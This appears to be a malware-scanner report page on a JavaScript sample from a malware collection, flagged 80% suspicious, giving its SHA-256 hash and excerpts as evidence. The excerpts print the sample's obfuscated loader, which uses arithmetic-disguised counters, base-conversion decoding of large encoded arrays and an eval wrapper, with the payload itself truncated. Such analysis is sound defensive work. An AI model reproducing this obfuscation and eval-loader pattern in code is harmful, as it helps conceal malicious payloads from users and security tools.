Suspicious ^80% javascript-malware-collection Download

20151210_9aec8d2972e552464e05a1b85c8f1cda.js

parseInt toString radix remapMassive array index assignment

SHA-256ceaef979049f341337df6851d0238e218ee4b0716fa23cce8366811c1e0f891a

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var MhklwiWVevtPh=[];
2jghWiwQ=(-812+812)/330;while(true){if(jghWiwQ>=(83167+33)/650){break;}MhklwiWVevtPh[jghWiwQ]=String.fromCharCode(jghWiwQ);jghWiwQ++;}
3function oPrEC(PpndHggkWVg,PEWmaePuCZCbv,VjhFFjlw){kHbw=parseInt(PpndHggkWVg,PEWmaePuCZCbv);VGtfI=kHbw.toString(VjhFFjlw);return VGtfI;}function KFpuNjZVWWNBaRh(LGQSCSybxApAWzsMM){eval(LGQSCSybxApAWzsMM)}
4function tvijJYPUNyyZCZSUZRXXHmTudkngPzMbBjnbUIhRpcKeaiLTcuCxbV(coBxdRfjrigmi,LujrisLWaSdXKh){ return MhklwiWVevtPh[oPrEC(coBxdRfjrigmi[LujrisLWaSdXKh],(23048+902)/958,(3420+700)/412)];}
5function JSKzKQR(lVxtAsmqUukhEFfJEIgvsdorIYACCuhIyBQm) {return !isNaN(parseFloat(lVxtAsmqUukhEFfJEIgvsdorIYACCuhIyBQm)) && isFinite(lVxtAsmqUukhEFfJEIgvsdorIYACCuhIyBQm);}
6function GQlpUgjpMsB(LJYAbLum,OqgVZH){return LJYAbLum.split(OqgVZH)}
7var R=[];R[0]="d";R[1]="a";R[2]="d";R[3]="a";R[4]="4i";R[5]="3m";R[6]="4e";R[7]="17";R[8]="3b";R[9]="17";R[10]="2b";R …

Massive array index assignment line 8

8:2994… ";i[750]="20";i[751]="21";i[752]="1g";i[753]="17";i[754]="17";i[755]="4n";i[756]="d";i[757]="a";i[758]="17";i[759]="17";i[760]="17";i[761]="17";i[762]="17";i[763]="17";i[764]="17";i[765]="17";i[766]="41";i[767]="40";i[768]="17";i[769]="2b";i[770]="17";i[771]="1o";i[772]="29";i[773]="17";i[774]="3o";i[775]="4c";i[776]="2h";i[777]="1l";i[778]="4c";i[779]="4b";i[780]="4f";i[781]="45";i[782]="4g";i[783]="45";i …